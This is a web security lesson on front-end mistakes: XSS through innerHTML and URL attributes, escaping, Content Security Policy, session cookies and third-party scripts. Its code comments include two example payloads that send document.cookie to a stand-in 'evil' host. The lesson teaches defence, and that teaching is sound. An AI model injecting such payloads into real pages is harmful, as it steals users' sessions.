Safety in the browser

Stop the three front-end mistakes that actually get exploited.

31of 32
≈ 11Min read
8Parts

Everything in the browser is public

Your JavaScript is downloaded, readable and editable by anyone who opens devtools. There is no such thing as a secret in front-end code: not an API key, not a password, not a "hidden" admin flag, not a minified variable name.

Minifying and obfuscating change nothing — the code still has to run, so the value is still there.

  • An API key in the bundle is a key that has been published.
  • A hidden input, a disabled button or a data-role="admin" attribute is a suggestion, not a rule.
  • Any request your page can make, a person can make by hand with different values.
  • Every rule that matters is enforced on the server. The browser version is for convenience.

Cross-site scripting

XSS means someone else's JavaScript running on your origin. It can read the DOM, read localStorage, make requests as the signed-in user and change the page. It is the most common serious front-end bug by a wide margin.

the whole vulnerability, in one line
el.innerHTML = `<p>Welcome, ${name}</p>`;

// a name of:  <img src=x onerror="fetch('https://evil/?c='+document.cookie)">
// is now running script on your origin, with your session

The three defences

in order of preference
// 1. do not parse at all
el.textContent = name;

// 2. build nodes instead of strings
const p = document.createElement("p");
p.textContent = `Welcome, ${name}`;
el.append(p);

// 3. if you MUST produce markup, escape every value
const esc = (s) => String(s).replace(/[&<>"']/g, (c) =>
  ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" }[c]));

el.innerHTML = `<p>Welcome, ${esc(name)}</p>`;
It is not only innerHTML

outerHTML, insertAdjacentHTML, document.write, eval, new Function, setTimeout("code"), and assigning to el.onclick as a string all parse or execute what you give them.

Attributes are an injection point too

The same applies to src, formaction, style and any on* attribute. A value going into an attribute needs to be validated for what that attribute means, not merely HTML-escaped.

escaping the text is not enough
// a URL from anywhere untrusted
link.href = userUrl;         // "javascript:fetch('https://evil/?c='+document.cookie)"

// check the scheme
const safeUrl = (u) => {
  try {
    const url = new URL(u, location.origin);
    return ["http:", "https:", "mailto:"].includes(url.protocol) ? url.href : "#";
  } catch {
    return "#";
  }
};

link.href = safeUrl(userUrl);

Content Security Policy

CSP tells the browser which scripts are allowed to run. With a strict one, an injected <script> or onerror simply does not execute — so an XSS bug becomes a broken feature instead of a breach. It is a backstop, not a substitute for escaping.

a second line of defence, set by the server
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  object-src 'none';
  base-uri 'self';

Sessions

  • A session token in localStorage is readable by any script on the origin, so one XSS hands it over. Put it in an HttpOnly cookie, set by the server.
  • SameSite=Lax on that cookie stops most cross-site request forgery. For state-changing requests, a CSRF token as well.
  • Never send a token in a URL: URLs end up in logs, in Referer headers and in browser history.
  • Sign out must invalidate the session on the server. Deleting it client-side only hides it.

Third-party scripts

Every external script you add runs with your origin's full privileges: it can read the DOM, the cookies it is allowed to see, and everything a user types. An analytics tag, a chat widget and a font loader are all the same level of trust.

  • integrity makes the browser refuse a file that does not match the hash.
  • Prefer self-hosting a copy you have reviewed to a CDN that can change under you.
  • Audit npm dependencies: the code you did not write is still the code you shipped.
pin what you can
<script src="https://cdn.example.com/lib.js"
        integrity="sha384-…"
        crossorigin="anonymous"></script>

A short checklist

  • No secret in front-end code, ever.
  • textContent by default; innerHTML only with markup you wrote and values you escaped.
  • Validate a URL's scheme before putting it in href or src.
  • Session in an HttpOnly, Secure, SameSite cookie — not in storage.
  • A Content Security Policy.
  • Every rule enforced again on the server.

Practice